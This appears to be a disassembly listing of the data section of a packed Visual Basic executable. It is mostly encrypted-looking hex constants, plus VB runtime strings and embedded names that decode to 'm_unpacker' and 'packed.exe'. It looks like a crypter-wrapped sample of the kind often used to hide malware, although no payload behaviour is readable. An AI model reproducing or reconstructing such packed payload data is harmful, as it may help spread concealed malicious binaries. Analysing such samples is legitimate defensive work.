		dd 164D82CAh, 0ABAD4F6Dh, 0DC1992B7h, 5048F06Dh, 57A2F771h
		dd 0F5CC3920h, 0BC482F6Eh, 0E21F6A05h, 89C7FE0Bh, 1D68858Eh
		dd 2E2C6F3Ah, 3300000Ch, 0BB62E9DCh, 46ED7443h,	0D57C03BAh
		dd 5E058C23h, 0F9931AA3h, 249D68EAh, 0B005F69Dh, 3D888229h
		dd 0C7FE0FB6h, 1D9A0940h, 0EFE27060h, 6D5387C0h, 0FBA22990h
		dd 957CB302h, 6CB75269h, 6D74702Fh, 538A259Ch, 169A57D4h
		dd 0AFFAE7E2h, 0FF629B72h, 0D01BB609h, 4787FE85h, 3056D30Ah
		dd 0E2EF7C48h, 0E3B76097h, 0CAF91115h, 6883E42Fh, 0F26FA6B1h
		dd 0EFDC5D35h, 3A0D4A95h, 0DC5D4C05h, 0A36ED9EFh, 0AA7BE54Eh
		dd 50DCD0h, 9DB80000h, 8831CC5Dh, 8B89063Dh, 0CFEF7C23h
		dd 30A8C026h, 81BE004Ch, 154AE530h, 0EFDCB85Ch,	5EB37EE9h
		dd 0D0AA98D5h, 25ECh, 5D9DC800h, 0E9843DCCh, 9F1C539Eh
		dd 0EF7C1C1Dh, 6CA13C87h, 0EFDC1DB3h, 0B70AD540h, 0D0AA3A8Ch
		dd 745h, 75C92100h, 0A5000008h,	0E9205D9Dh, 0E1ED0B6Ch
		dd 3168B3DFh, 8530CBB2h, 29987148h, 0B302FBA2h,	0E562E118h
		dd 0EFE26D28h, 59003D88h, 0FCA5DC11h, 0B608E8ECh, 24A1D81Bh
		dd 0EFE23B67h, 0D03F7CC7h, 0E20E8753h, 0A7DE29E7h, 0F17849C0h
		dd 0CB02B34Ah, 85331D22h, 0E2D94B08h, 0FF60ABF7h, 5A977861h
		dd 9BD01887h, 0AB68E564h, 0BF7E293h, 939A57D4h,	0AFFAF7E2h
		dd 7F36C564h, 0ED5C99E4h, 7CAAB270h, 8BC914FFh,	565E886h
		dd 0C6246732h, 9B00000Ah, 23CA5164h, 0AE55DCEBh, 3DE46B52h
		dd 0C66DF4CBh, 61FB823Bh, 8C35D072h, 18AD5E05h,	0A510EA91h
		dd 2F86771Eh, 850271A8h, 0EFE271C8h, 0D5BBEF28h, 571AB2Ch
		dd 0F330D2DEh, 0E228CD86h, 6E5E07E7h, 0FEFACA12h, 2E7948C0h
		dd 0CD024AF1h, 0B96E1796h, 82B597D9h, 8A47C4FBh, 0EAE7E24Bh
		dd 0C4F5629Fh, 2CDFE21Eh, 9BE35AE1h, 59B22F66h,	0F1E7E274h
		dd 71886FA6h, 0FB12B940h, 78C02FCAh, 0D4250C43h, 0B231A0DDh
		dd 3D3F709h, 0A01DFFF7h, 0F7E314E3h, 70ADF843h,	0E2E82F03h
		dd 5F96E1EFh, 0C48637E0h, 7FD28FF2h, 23926B42h,	0AD04F59Ch
		dd 3B26DD12h, 0E0287FE3h, 41F774ABh, 0B3877D33h, 36D1E814h
		dd 0C962A0EBh, 0FF8D6462h, 9F7F134h, 956A0000h,	1AF29920h
		dd 817D24ABh, 0FA0CB33Ah, 68953CC3h, 2330CA51h,	0D45B629Fh
		dd 60E7DE2Dh, 0ED7443B9h, 77FEB746h, 9754D140h,	0F7EFE271h
		dd 5D9D8ABEh, 0DAB29E0Ah, 4691BA9Dh, 375B660Fh,	0A2616095h
		dd 4879F665h, 92DFE256h, 133B0DE9h, 0E2D3D996h,	8DEE39EFh
		dd 4A870115h, 0CE77AEF9h, 0AE0872E8h, 790ACAFAh, 0B01DBEEEh
		dd 0D2B92865h, 5C038A3Bh, 0A7914ADh, 6F568DC2h,	7CEB289Fh
		dd 0E2CDA2FFh, 0FCA524E7h, 0D6E8C78Ch, 46033835h, 5EF7E35Ch
		dd 5FF9E23Fh, 6DB8D112h, 2FCB936h, 115CF7E4h, 13883D4h
		dd 14BCE31Ah, 33C2D0B6h, 0C36AF13Ch, 0C5447B4Ah, 0E3DA8B48h
		dd 0BC4CEBF7h, 0AA7DBA05h, 87BEF33Bh, 0E3AD6E0Ah, 8EC510EFh
		dd 0D85F56A7h, 6995D831h, 376C0752h, 0FFE4307Eh, 0CC033880h
		dd 0E403DA4Fh, 5FAB4AF7h, 9C737C52h, 3D884C36h,	25D4BBF2h
		dd 0AF5E058Ch, 0CC0C7B16h, 66AF588Fh, 0FAD1C24Eh, 481F02Dh
		dd 0FFE4E6ABh, 0EE5DF843h, 0BD3A71AEh, 177F75F7h, 873ECA69h
		dd 55A011E8h, 6221FE17h, 9CDFAA3Dh, 8C9h, 0C74E6798h, 52D9E820h
		dd 0E1685FABh, 6AF1C43Ah, 0F87F46C3h, 30CD755Eh, 0A05B0289h
		dd 15E78E15h, 85741BA2h, 0FF6EA52Ch, 0E273C582h, 0B8EC25EFh
		dd 1CD956D5h, 7CE7E217h, 0EC1DF431h, 629B3AD5h,	0C7351C53h
		dd 0A11E55F0h, 0E7E216E4h, 71AEF944h, 4A31A09Eh, 946706BFh
		dd 0BE89E421h, 28AF06F7h, 503D46EDh, 0E7BD7h, 2D140000h
		dd 0FE49E4DBh, 0B7C995C1h, 0A5000004h, 0ADEDB6F8h, 1EBC3970h
		dd 0C0EF7C1Dh, 74DF4475h, 7EC2E76Ch, 4DCA013Eh,	0CA820F1Fh
		dd 7549BA63h, 568EE0AFh, 0D729C819h, 8BFA95E0h,	5AD70E43h
		dd 0D2774864h, 6D548BD6h, 0F79E259Ch, 0E71AF06h, 0FAF86263h
		dd 807EC2Fh, 0A55A0000h, 2AE28910h, 916D149Bh, 0AFCA32Ah
		dd 78852CB3h, 3320BA41h, 0C44B728Fh, 50D7EE1Dh,	0DD6453A9h
		dd 67EEC736h, 8744C130h, 0E7EFE274h, 9C6D7AAEh,	418C3BD1h
		dd 0D7FA07A6h, 0E2169D5Ah, 318477E7h, 0E7324B96h, 0EFD6159Ch
		dd 0FF999019h, 9ECB90FBh, 0C6DB853h, 7E082FECh,	0AC53905Fh
		dd 7BF82F6Ch, 0DFE247D8h, 5D063D88h, 0F16E70E8h, 0EFE28C34h
		dd 3AE84994h, 68D7141Bh, 0B2398881h, 936FF20Bh,	0C3AAE12Ch
		dd 6F427F46h, 7F3CB938h, 0DFEFE2FCh, 68B05794h,	7DFC33h
		dd 0EFE2FC43h, 0AC1B58A3h, 0E2CFD22Fh, 916D54E7h, 7448F2Ah
		dd 4D346BB6h, 0E7CE05BCh, 0A2619E11h, 7CB302FBh, 0DFE6995h
		dd 87D26DB8h, 2DD8774Ah, 6B2B5694h, 0AD5029Eh, 730C7h
		dd 0E7DE3100h, 7241B960h, 1B844EBh, 8A3DD37Ah
		dd 18A15C03h, 66ECF791h, 0F49B229Bh, 8027AE07h,	0DB43B8Ah
		dd 73EC5FCh, 755E1B98h,	85BEEFE2h, 0D956D551h, 0E7E2171Ch
		dd 1724E15Eh, 3984E7E2h, 0AF6CE920h, 0FE7E216h,	953C79C4h
		dd 64E11855h, 0DFE1EA07h, 0A6255CA7h, 2DFF31FDh, 4784E012h
		dd 0F1289970h, 9F6EF30Ah, 0F540DB26h, 0BB52F9B8h, 0B8006F0Ah
		dd 0A1ECD32Fh, 103BED6Ah, 5AA5F77Dh, 6459D71Ch,	83C6911Dh
		dd 6A5h, 0EB724BBCh, 76FDB444h,	58C33CFh, 8E15A85Eh, 1CA31AE7h
		dd 14F19182h, 8C7F26ADh, 0F10BB239h, 61983FC6h,	2392C950h
		dd 0E275E9A6h, 0DC1049EFh, 1CD956D5h, 0F6E7E217h, 0CB16B104h
		dd 41FE7BB2h, 0A1E7E217h, 9D6C0B56h, 0F910E724h, 7F8E2DC8h
		dd 1720DD5Ah, 0E180E7E2h, 0B7029D24h, 0E786216Ch, 6A09A41Bh
		dd 8D8B269Fh, 0F4F26732h, 576E9E85h, 0D93471BCh, 0FFB6470Eh
		dd 39F63D78h, 7CBD750h,	0A7000000h, 281C9h, 9C6DA500h
		dd 0D31B8A25h, 58B3BE4Ah, 3C87D26Dh, 16CB8805h,	0E02BE7E2h
		dd 60DF5E95h, 0E21726E3h, 0FE3B86E7h, 0E1ED3491h, 289D4DFh
		dd 7813A25Bh, 14A15A41h, 1AF12E79h, 0D84FD6EFh,	0A7245B90h
		dd 0E7E2406Fh, 60477EC9h, 0EA9118A9h, 846BA213h, 59A43F76h
		dd 0AEA74AF8h, 0ADEA4374h, 6FAA3DAh, 3507F2CFh,	0C05B6AA3h
		dd 16ED2A75h, 0C837D2EBh, 97144B80h, 0FF7C65C9h, 9BE2206Bh
		dd 4D05650Fh, 5973F82h,	35CA0000h, 0BA52F980h, 21DD840Bh
		dd 9A6C139Ah, 8F59C23h,	83902AB1h, 34BB02FFh, 0C0477E8Dh
		dd 4DD4E319h, 0D75E57A6h, 0F7B431A0h, 57EFE276h, 9C6DEA1Eh
		dd 12EB8A25h, 0AF0A08A3h, 0D9E821E4h, 392C1752h, 0EA5D750h
		dd 81000000h, 0A81DEED5h, 0A85C20Dh, 153h, 1CEED5E6h, 86C30EA9h
		dd 29675EAFh, 129F50FEh, 2A7CBF8Ah, 37000005h, 0BF66EDC0h
		dd 4AF1784Fh, 0D98007BEh, 62099027h, 0FD971EA7h, 28916C16h
		dd 0B401FAA1h, 4174862Dh, 0CBFA13BAh, 219E0D44h, 0EFE27764h
		dd 0D5578BC4h, 68A518EEh, 0AE497891h, 2CC7FE0Fh, 0A508D32Eh
		dd 752D7BFCh, 0D54C77E0h, 12E445ADh, 0E0B7F4EBh, 722FAC29h
		dd 0D2E7E222h, 7AB53C87h, 0D75032C9h, 0D08h, 0D0C9E400h
		dd 0A5000000h, 0CAC9h, 5D9DA500h, 0EB6AE920h, 0E216B16Eh
		dd 89C611E7h, 0E1EDBF1Ch, 6D9841DFh, 3B938744h,	0EA756F5h
		dd 9AEB2873h, 0A6630EFBh, 0D839D41Fh, 0CF810897h, 95F641CEh
		dd 858D1261h, 75ACF7CEh, 6BC79F6h, 0D11CEFE3h, 0A52C194h
		dd 0F23D8481h, 1FCC3EBBh, 0EB36F77Dh, 644978ADh, 0F639041Dh
		dd 459h, 37BEF708h, 0C2497890h,	51D8EF1Bh, 0DA6154AAh
		dd 68EFD633h, 0C03DC5CEh, 30CB72F9h, 0A557FE85h, 15E48B12h
		dd 6FDE159Ch, 0E27835F2h, 285C95EFh, 0E9205D9Dh, 80BD0802h
		dd 0D3F99411h, 4E99EF7Bh, 0D6D53017h, 0EF40FFD0h, 97D41F10h
		dd 0FEC54128h, 28803A77h, 0A554EFDCh, 22DE850Ch, 0E2C9009Bh
		dd 0B5009B2Ah, 3EFFD78h, 9DD90000h, 6CE9205Dh, 0DFE1ED0Fh
		dd 5AC964AFh, 29A6DD12h, 0F77C85B7h, 3398D621h,	0E51D652Fh
		dd 3CBD71Ah, 61960000h,	0EE1EC54Ch, 5DA950D7h, 0C638DF66h
		dd 44C168EFh, 775CF67Dh, 873ECBh, 8C13A259h, 19A017E5h
		dd 0A32A9B72h, 0C380FD6Ch, 23EFE278h, 5D9DB6EAh, 0C16AE920h
		dd 0A7779873h, 0F40AA996h, 9EDB26C1h, 0E294D031h, 0F62D78DFh
		dd 0E2B1FE0Fh, 0BEB046A3h, 2BD40B56h, 0DB069CB2h, 9225D70Bh
		dd 2E42E647h, 60D8EEAEh, 4CBD6423h, 42BF3E75h, 0EFE23185h
		dd 318D4AC7h, 0A2EDEFE2h, 2E013E89h, 12EE7FBFh,	7AC510ABh
		dd 17AE5C43h, 85F4317Ch, 0EEED1F06h, 0E230B471h, 7EC914EFh
		dd 408D441h, 5FAAE7E2h,	0F9C84128h, 8332CB72h, 0FC3179E8h
		dd 9D8A48C5h, 0A1ECFF7Ch, 65C86263h, 98DBA605h,	309h, 870EA758h
		dd 129928E0h, 0A1289F6Bh, 2AB104FAh, 0B83F8683h, 708D351Eh
		dd 0E01BC249h, 55A74ED5h, 0C534DB62h, 0BF2E65ECh, 0E2798542h
		dd 78ACE5EFh, 0BC399C6Dh, 0E7E216FFh, 2EC9145Fh, 10477E8Fh
		dd 48E3D229h, 8A01C0FDh, 0E7A42142h, 47E7E216h,	16D69310h
		dd 0EB36E7E2h, 9F1E55A0h, 16E6A320h, 0A746E7E2h, 0DB18635Ah
		dd 7C31686Eh, 0F48FDAEFh, 0DC4106BFh, 5D2893EFh, 0AA133F04h
		dd 4392D0h, 9D6E0000h, 6AE9205Dh, 0FF3C8B83h, 7C1F6092h
		dd 0B02DACEFh, 0EFDC2EF3h, 7ACB0853h, 0DE5D942Fh, 0DC2EA461h
		dd 35887EEFh, 0EB364F9Ah, 6A05BC4Ch, 0BC75E21Fh, 49EFDC2Eh
		dd 75BE13DEh, 4CD0AA25h, 0D4h, 0D19C6D28h, 552C8D34h, 0A7D9AFC7h
		dd 0CA69044Fh, 4CEB863Fh, 0CA6904BDh, 0BEFB8233h, 0E7E244D7h
		dd 2A6150A9h, 45712EABh, 86D1E7E2h, 2AE38A49h, 0A203BA47h
		dd 99B42274h, 23BE09E9h, 0CE4B74B4h, 0E7E22811h, 8F36D271h
		dd 45C2F944h, 0EF7C3C0Bh, 1C931A65h, 523289DCh,	0CCD1EE46h
		dd 9FEA853Ch, 55D20954h, 0F7715F15h, 54FD347Fh,	18358DDBh
		dd 0DE4D8AEBh, 2CB30AF7h, 3417885h, 1D68A2CCh, 0BE2E713Ch
		dd 0A3000001h, 2BD2596Ch, 0B65DE4D3h, 45EC734Ah, 0CE75FCB3h
		dd 69038A33h, 942DD87Ah, 2095660Dh, 0AD18F299h,	378E7F26h
		dd 8D0A79B0h, 0EFE27AD0h, 6DC3F730h, 8D24D590h,	0D9240B42h
		dd 5BA645E0h, 1BDA1762h, 0F52C8574h, 2BC6FF0Eh,	0E8E4A3E0h
		dd 0E9205D9Dh, 76C9C16Ah, 3E4EB82Dh, 0E2C604C1h, 0CE1964E7h
		dd 0CEF22491h, 115CEF7Ch, 0DF884176h, 9615EFDCh, 0D16C53AFh
		dd 23EE4986h, 0AAF565CEh, 0B45CD0h, 6D380000h, 0EB8A259Ch
		dd 0D70CA71Eh, 0E7E21BF0h, 437A4BC2h, 0D613AA5Ch, 0D4997017h
		dd 0A8438E27h, 36A6F139h, 96882CFh, 7B245BA6h, 0A4047114h
		dd 3AA9E6F9h, 7D2483BDh, 9740BFEFh, 0B61D4BFDh,	16D30860h
		dd 76EFDDA0h, 529DEE2Bh, 0D71454CBh, 0ED3E23A0h, 0A3EEF771h
		dd 4178856Ch, 0CFF613BAh, 67380491h, 0B2F5C01Dh, 0D1h
		dd 0BF467F90h, 4AD1E018h, 0D96067A3h, 62E9DC32h, 0F0774EBBh
		dd 38C54D56h, 0B853FA81h, 2DDF860Dh, 9D6C139Ah,	0F7669D24h
		dd 0E27BBD7Ah, 0B0E41DEFh, 0A229906Dh, 0AD5F02FBh, 95347F1Ah
		dd 6AB55067h, 0B01E81Fh, 99D621BCh, 9C6DDEDAh, 12EB8A25h
		dd 65A51CA3h, 8B72F128h, 9A074473h, 0DFE1E9D2h,	0E786216Ch
		dd 8BF4B16h, 4EF736BDh,	4191CE77h, 0A77EBBFFh, 8DC45F56h
		dd 26635AA6h, 5888ADB9h, 0F5C0DB3Ch, 6D54B198h,	11A05930h
		dd 472AE38Ah, 0DE9B18BBh, 3E4C810Ah, 0C20DA8F3h, 0CB3DDC77h
		dd 0E1FC59F4h, 0B3BE4F16h, 0EC236E59h, 0EB7E0F43h, 54201CCh
		dd 0F45E0746h, 22903451h, 9232B112h, 63422396h,	7BE4F26h
		dd 3296Ch, 0DA050000h, 239A6DB6h, 0A110E988h, 22956706h
		dd 0A213E887h, 249D6807h, 0A61FEA89h, 239A6C0Bh, 0A61DE988h
		dd 259C6C0Bh, 0C968FA8Ah, 89000071h, 0A468243Ch, 8900003Eh
		dd 868241Ch, 8900002Fh,	5351242Ch, 5771BBh, 5BD98908h
		dd 5459CB89h, 83242C8Bh, 0B85004C4h, 8,	854A732Dh, 5E8016Ch
		dd 6C854A73h, 8B581889h, 8951242Ch, 4C181E1h, 81000000h
		dd 4C1h, 240C8700h, 2434FF5Ch, 4C4835Bh, 0FAEE9FE9h, 0A8A21CFFh
		dd 6619B897h, 0C5030800h, 3A09E0FFh, 5FEB2C01h,	0E2F8101Eh
		dd 86A757BAh, 24EA623Dh, 0C27548FCh, 97103BDh, 44A85F20h
		dd 0EDDC0AAAh, 347942B3h, 595D7236h, 15257D89h,	0A32B2046h
		dd 12E81529h, 2D000000h, 0CF6D753Eh, 0EF4C9E79h, 0F03F36D2h
		dd 0A1895216h
		dd 0CE816667h, 665A307Fh, 0AD38E081h, 6C16C281h, 0CE80000h
		dd 0E8000000h, 14E402BAh, 0EE3729F7h, 66C16E83h, 63EC881h
		dd 0E56DBB58h, 0C3810257h, 0FDA8356Ah, 880F50h,	58000000h
		dd 8E0F0A8Bh, 4, 0EA04BF66h, 0B488C181h, 0C28B3BECh, 70A1C181h
		dd 0BF0F74BBh, 0B0C181F2h, 0F3E53CCh, 589h, 1A09BE00h
		dd 605113DDh, 0C850Fh, 7E90000h, 6B000000h, 0E3EE57C5h
		dd 10E95490h, 0DD000000h, 0D0536650h, 0AEB82D8Fh, 4BE88E07h
		dd 6139D52Fh, 8150028Fh, 0CFC824EEh, 0EA835F62h, 1EB8304h
		dd 0FF92850Fh, 0B70FFFFFh, 161E9C0h, 2B7B0000h,	60DD41E9h
		dd 3A437C83h, 755F6D5Ch, 6361706Eh, 72656Bh, 6B636170h
		dd 652E6465h, 6578h, 3Ah dup(0)
		db    0
		align 2
a3cannotFindS_P	db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0
aThunrtmain	db 'ThunRTMain',0
a__vbavartstne	db '__vbaVarTstNe',0
		align 4
		dd 0E9000000h, 1A85h, 6AAC68h, 15FEE908h, 0B668FFFAh, 0E908006Bh
		dd 0FFFA15F4h, 6CA768h,	15EAE908h, 6568FFFAh, 0E908006Dh
		dd 0FFFA15E0h, 6DA468h,	15D6E908h, 8968FFFAh, 0E908006Eh
		dd 0FFFA15CCh, 6EF068h,	15C2E908h, 4868FFFAh, 0E908006Fh
		dd 0FFFA15B8h, 761468h,	15AEE908h, 0A568FFFAh, 0E9080076h
		dd 0FFFA15A4h, 775068h,	159AE908h, 1868FFFAh, 0E9080078h
		dd 0FFFA1590h, 78A368h,	1586E908h, 6C68FFFAh, 0E9080079h
		dd 0FFFA157Ch, 79EF68h,	1572E908h, 7568FFFAh, 0E908007Ah
		dd 0FFFA1568h, 803F68h,	155EE908h, 5068FFFAh, 0E9080081h
		dd 0FFFA1554h, 81E668h,	154AE908h, 0C650FFFAh, 1DF5A2D8h
		dd 779E4B81h, 0CB44F127h, 21F09DD3h, 5E13477Dh,	0CC029C75h
		dd 73A9F51Fh, 1E544AC6h, 0C6FCA271h, 20839FF7h,	4607E6ECh
		dd 6CA729E0h, 0D142A732h, 533697CDh, 0C7617D0Dh, 0DB07E0ADh
		dd 6BD4CA46h, 0AD4DB4E0h, 0D65707E0h, 19F84D1Ch, 0D70FDF85h
		dd 75406EB4h, 37h, 0CA96F306h, 9C501E3Ah, 0F54E07E0h, 0FAF01A6Ah
		dd 38F3DC3h, 62C93DE3h,	6C07E0FDh, 0D6231EBh, 0E40D9806h
		dd 0EDEFAA6Ah, 0B85E720Ah, 6F77B0E8h, 0C34E40h,	0A7DF0000h
		dd 42A7326Ch, 0DF44CFCFh, 8FDF6A34h, 1DC3DB3Ah,	0C5FBA370h
		dd 6ED1ED2Dh, 94FFE683h, 8B13FFh, 54C86ED7h, 0FFE68739h
		dd 59BCD818h, 87FFE687h, 138B892Eh, 4B53C06Dh, 0F3AB6815h
		dd 263A4F68h, 0A7DC7A96h, 0B10A07E0h, 0F16F1A7Bh, 89024561h
		dd 0D7300FDDh, 431FF247h, 1C45D0CEh, 41D07DB3h,	20289F5Dh
		dd 0F02B9998h, 181951h,	0DBC35300h, 841AF8A5h, 2A74A14Eh
		dd 0D6C847F4h, 801EF3A0h, 7A61164Ah, 24D10797h,	0CB78AEF0h
		dd 76235945h, 0FCCB019Dh, 0ED2588A4h, 0E54B07E6h, 346AA72Eh
		dd 0A2C04FA4h, 7DA6316Dh, 0BA608914h, 5A44CF7Ch, 0DD9A75CAh
		dd 0E6835EC1h, 0C22B84FFh, 2A680E37h, 8E96F373h, 668F1A84h
		dd 83516DFDh, 9F07E09Bh, 288FBB46h, 3207E09Bh, 0B8F0F7B1h
		dd 56406EA7h, 0E0h, 326CA7E7h, 0CFCF42A7h, 87FD1844h, 0D43FFFE6h
		dd 0F5103ACAh, 21EF3876h, 0C75F9D43h, 1B086B87h, 0D52EFFE7h
		dd 0D191822Fh, 6AF55E40h, 0E5013851h, 0FFE71B82h, 0ABC757B0h
		dd 0FFE71B48h, 1CAC156Eh, 0E13C6200h, 0E4008007h, 7E13B81h
		dd 271245AFh, 51EDFD55h, 0E8497FE8h, 52FBFA1h, 0DC5D1F1Ah
		dd 0F28A3030h, 184088B2h, 37E90A83h, 0E0E2B81Bh, 1C85DE07h
		dd 0C1AE0276h, 23B80FDDh, 0B343ACF2h, 0B5EBB35Eh, 0D7950908h
		dd 999866F6h, 0F7F1E59h, 5D000017h, 2AFE5B9h, 0AB588E10h
		dd 51FE346Ah, 0FDAAE0BEh, 20548A14h, 118D846Bh,	0B8E62EDBh
		dd 633BD582h, 0B93802Dh, 92AE06D5h, 7E6EE2Fh, 0BC38EF55h
		dd 661A2392h, 0B258CD04h, 0BA560C05h, 0CED03FE4h, 8F80D565h
		dd 7E2B690Fh, 1CD30995h, 35F792BCh, 0A6A2523Ah,	0DEC05300h
		dd 59B90E4Eh, 9B76D945h, 0DA38FFE6h, 0CF1039C4h, 0D83DD076h
		dd 0CC2D633Bh, 0E913A3BDh, 0D82AA3E7h, 3ABD1BC5h, 6849711h
		dd 0BCE233D8h, 0CA620831h, 0E123F4AEh, 0D23DD207h, 0B5E927CCh
		dd 0D98012Ah, 0E0DB7AE1h, 49038407h, 6EE30A42h,	9DA840h
		dd 7B390000h, 90D0B963h, 89E2E400h, 77D007E0h, 3141D63Ah
		dd 5633DC7Bh, 8C5E7A0Ah, 9ADB4144h, 0EC9DB641h,	0B3877063h
		dd 2D960142h, 9DF7819Dh, 92EBDC7Eh, 3866AD02h, 0E0BE5502h
		dd 0F932B122h, 0C05F9A4Ah, 161Eh, 0A0D6C84Eh, 497F1FF3h
		dd 0EF25799Ch, 9BD1CD42h, 457B23EEh, 9E735C11h,	0F71DCA00h
		dd 4CC471A7h, 0A46F1C52h, 9DF5C4FAh, 0E6EF1E81h, 27DE4407h
		dd 0EF0B6CA7h, 0FFE6838Ch, 68F861BAh, 98ED553Eh, 45EB6897h
		dd 60D62B2h, 0F891F298h, 2BCD868h, 0E007E187h, 7B9A5187h
		dd 0ED428263h, 0C5EE7925h, 0E682F659h, 1DC31CFFh, 506CCDBCh
		dd 0FFE682EDh, 0C151BA13h, 4FF5A96Ch, 89999BB7h, 0E43D07E0h
		dd 84D243A7h, 8DFC8F09h, 0BB247A97h, 0A03D0F2Bh, 106988B3h
		dd 431D6C85h, 30D97B3h,	4998F0Dh, 1B4B7C11h, 2AF4D68Eh
		dd 73C858C1h, 1BC8FEA0h, 0F5E8A6F8h, 56194B8Dh,	15607C1Bh
		dd 0A0C0000h, 61B15E94h, 0BB5A073Dh, 0F00ADE3h,	65AC598Fh
		dd 1ACF0339h, 88BEE031h, 2F6539DBh, 0DA108E82h,	82B8E62Dh
		dd 0DC3F5BB3h, 0A07E6F0h, 6CA7EDA4h, 0E66B7432h, 9DD8999Eh
		dd 1521FEh, 0D3CB4B00h,	7C22F09Dh, 227C9946h, 0CED03FECh
		dd 7826EB98h, 72590E42h, 1CC9FF9Fh, 0C370A6F8h,	6E1B514Dh
		dd 0F4C3F9A5h, 0F01D809Ch, 0DD4307E6h, 326CA726h, 65FB8EA7h
		dd 0A663B9D5h, 166F07E0h, 0C21A5C86h, 8440305Dh, 0BEC7A0DEh
		dd 5BEB7514h, 0BC580A06h, 0C5EE79E2h, 3A9F520h,	3F4D4F6Bh
		dd 0D52A0FDBh, 0E7C7503Dh, 0DE838A0Ah, 5A44D075h, 0AA016BB4h
		dd 2BEAED1Bh, 0F045D53Eh, 0D6395522h, 0FCFFE725h, 4F943AA3h
		dd 8FDDD6EBh, 0B75CB19Ch, 0D83B57E7h, 0FE9C8E9Dh, 0EB9EFFA5h
		dd 2EBBE575h, 0BD871BAh, 0D2EE862Ch, 0A4892600h, 2942CD26h
		dd 54700060h, 0A336C8CAh, 0CFCF43D8h, 22B21B44h, 26D0B8E2h
		dd 891B3513h, 0C1DD36E3h, 72D5F131h, 0A09C9614h, 0B663A147h
		dd 7283415Dh, 0DD053177h, 143C03A2h, 0E6300000h, 3DD582B8h
		dd 977E2B61h, 0EB24D107h, 41D07DB3h, 3EF3275Dh,	0ACE2BC55h
		dd 538915FFh, 0FE346AA6h, 0A6DCC251h, 637FD7h, 2607E6F1h
		dd 7DE009C0h, 54FFE683h, 8395F814h, 62BBFFE6h, 92E148BCh
		dd 7DE4FFE6h, 5CFFE6A3h, 839D001Ch, 6AC3FFE6h, 82E950C4h
		dd 60B3FFE6h, 0E68B803Eh, 95D0999Eh, 13D5F6h, 1F7F9700h
		dd 0C8D63CE9h, 6E30E592h, 1A848B38h, 0C4DA37E4h, 0BEA55A8Eh
		dd 68154B53h, 0FBCF2ACh, 0BA679D01h, 400F4559h,	0F169CCE8h
		dd 319707E6h, 0A867BC7Ah, 9AEF50F6h, 301A36C6h,	0B607E098h
		dd 0A6EC634Ch, 5FB4C99Ch, 228BB43Fh, 0A60EFBB9h, 6419E64h
		dd 137D67h, 7727EF00h, 207E9441h, 0C6D83DEAh, 722CE390h
		dd 1C828F3Ch, 16FDB2E6h, 0C06DA3FBh, 67144A54h,	12BFF5A9h
		dd 98679D01h, 0F2C12440h, 89EF07E6h, 607CBCD2h,	0FFE682FDh
		dd 7724CA23h, 1277029Ch, 14129D01h, 0DA1AE9A3h,	0E6835BBEh
		dd 8A3089FFh, 748B82BAh, 1F2038h, 0E0B10000h, 0FFE68379h
		dd 98CED043h, 42093C24h, 0A7F78200h, 3CE1BD52h,	3920C6D8h
		dd 1306h, 326CA7D2h, 65FB8EA7h,	0E7BDABD5h, 0E16BCEEAh
		dd 4099FFE6h, 827C2EC6h, 462844DCh, 6C07E18Ch, 26598313h
		dd 822E692Eh, 3D9EDC82h, 5A84144Ch, 1EEB5AA8h, 34CC72E9h
		dd 0DAFA8A18h, 34BF180Fh, 153146CFh, 0FFE6CBB2h, 8E1E87E0h
		dd 1DC3DB39h, 1DF247DFh, 27CDF681h, 0E6CB4DB3h,	65FD15FFh
		dd 4069F4AAh, 0CB3194B0h, 65FFFE6h, 58BA679Dh, 0BC56BB46h
		dd 0A3B57E2h, 0F8A66C50h, 0D7BAF2C2h, 19583874h, 8000002h
		dd 0DBB398DEh, 13FC38E4h, 0C57C228Bh, 3ACA96F3h, 0E0A65C1Eh
		dd 2FE63B07h, 15BBE46Fh, 0ABE362CCh, 92FA3E26h,	0F383E602h
		dd 58B107E0h, 90A5FEFh,	0F75CEF95h, 0A04D831Bh,	86E90572h
		dd 0AC07E0F3h, 335FEA53h, 7E103CCh, 0D8BC76B7h,	0CD2E643Ah
		dd 0F814A4BCh, 0FDAE47Ah, 1F840F68h, 0C976ACF2h, 0A3FB1A48h
		dd 1E83AF3Ah, 5FFE6E3h,	0EE516DADh, 14FFE6E2h, 0DA9415BBh
		dd 3F5FB60Bh, 38E58BB4h, 0F78FC5D9h, 0E3389BB7h, 16FAFFE6h
		dd 93D4FD88h, 227C953Ah, 67C86E97h, 92AE3E22h
		dd 7E1181Ch, 0CB2E4ACAh, 9507E0D7h, 7099247Ah, 0E26DD62Fh
		dd 0D208967Dh, 702EE53Ah, 0A8F61DCAh, 0D78EF11Dh, 307107E0h
		dd 1D819276h, 0C6D83AE7h, 263CD63Bh, 0C04BB4EAh, 1C5CA4h
		dd 7E0D79Dh, 43C46AC3h,	316DA589h, 0E2F32BFBh, 0AC91406Eh
		dd 22000000h, 47236AA7h, 2C028AEAh, 0FD62ED56h,	78396314h
		dd 3284BB27h, 2B096CD8h, 0DE37FFE7h, 86CEEA75h,	40BAE431h
		dd 378CBB49h, 64E58B39h, 534BC6AAh, 3A154D1Dh, 70B33875h
		dd 44000000h, 0FD607CBCh, 23FFE682h, 9C7724CAh,	0E7277702h
		dd 0E68368CBh, 8F358EFFh, 0E26D31E2h, 810C927Dh, 1EA9F51Ch
		dd 1A9638Ch, 11D5DA5h, 0FFE6839Eh, 44C56BC4h, 316DA68Ah
		dd 8AF32BFBh, 2C913874h, 22000000h, 3ACA96F3h, 0E0B8A81Eh
		dd 52DD3607h, 0E0B7BF26h, 138B8907h, 0B1ED2388h, 0F1ABD426h
		dd 0A963E449h, 6EBF6AA2h, 7E0840h, 0BC990000h, 6AF5A967h
		dd 4F3A9B41h, 0F658111h, 0EC07E0B8h, 7A207E97h,	2B739C31h
		dd 830E77A0h, 74D7F333h, 0A207E0B8h, 1CF6A349h,	739F4C82h
		dd 0D73BA02Bh, 0EF203CC7h, 0DDC15135h, 0C49FD7A7h, 2C3D406Eh
		dd 0CE000000h, 37C799F3h, 0E683981Bh, 5AE53E7Fh, 0E683C72Eh
		dd 813B647Fh, 31C1A3E9h, 0E6819215h, 57E740FFh,	0EB910D02h
		dd 0EC6ADh, 0BC5F0000h,	66F1AD67h, 41B0973Dh, 49000000h
		dd 0A5306EA7h, 96CCD240h, 0EA7529E9h, 16A6BED1h, 8357BAD6h
		dd 0F919FFE6h, 0B0F11AA5h, 7844DD57h, 9F774B87h, 0D23A66F9h
		dd 0F0FFE770h, 76AEB56Fh, 5D3873A1h, 7920C08h, 0F95738DEh
